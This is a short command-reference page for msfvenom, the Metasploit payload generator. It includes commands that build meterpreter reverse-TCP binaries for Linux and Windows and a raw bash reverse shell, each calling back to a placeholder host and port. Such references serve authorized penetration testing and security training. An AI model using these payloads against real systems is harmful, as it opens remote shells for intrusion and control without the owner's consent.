msfvenom Command Examples

Manually generate payloads for metasploit. More information: https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html.

• List payloads:

msfvenom {{[-l|--list]}} payloads

• List formats:

msfvenom {{[-l|--list]}} formats

• Show payload options:

msfvenom {{[-p|--payload]}} {{payload}} --list-options

• Create an ELF binary with a reverse TCP handler:

msfvenom {{[-p|--payload]}} linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} elf {{[-o|--out]}} {{path/to/binary}}

• Create an EXE binary with a reverse TCP handler:

msfvenom {{[-p|--payload]}} windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} exe {{[-o|--out]}} {{path/to/binary.exe}}

• Create a raw Bash with a reverse TCP handler:

msfvenom {{[-p|--payload]}} cmd/unix/reverse_bash LHOST={{local_ip}} LPORT={{local_port}} {{[-f|--format]}} raw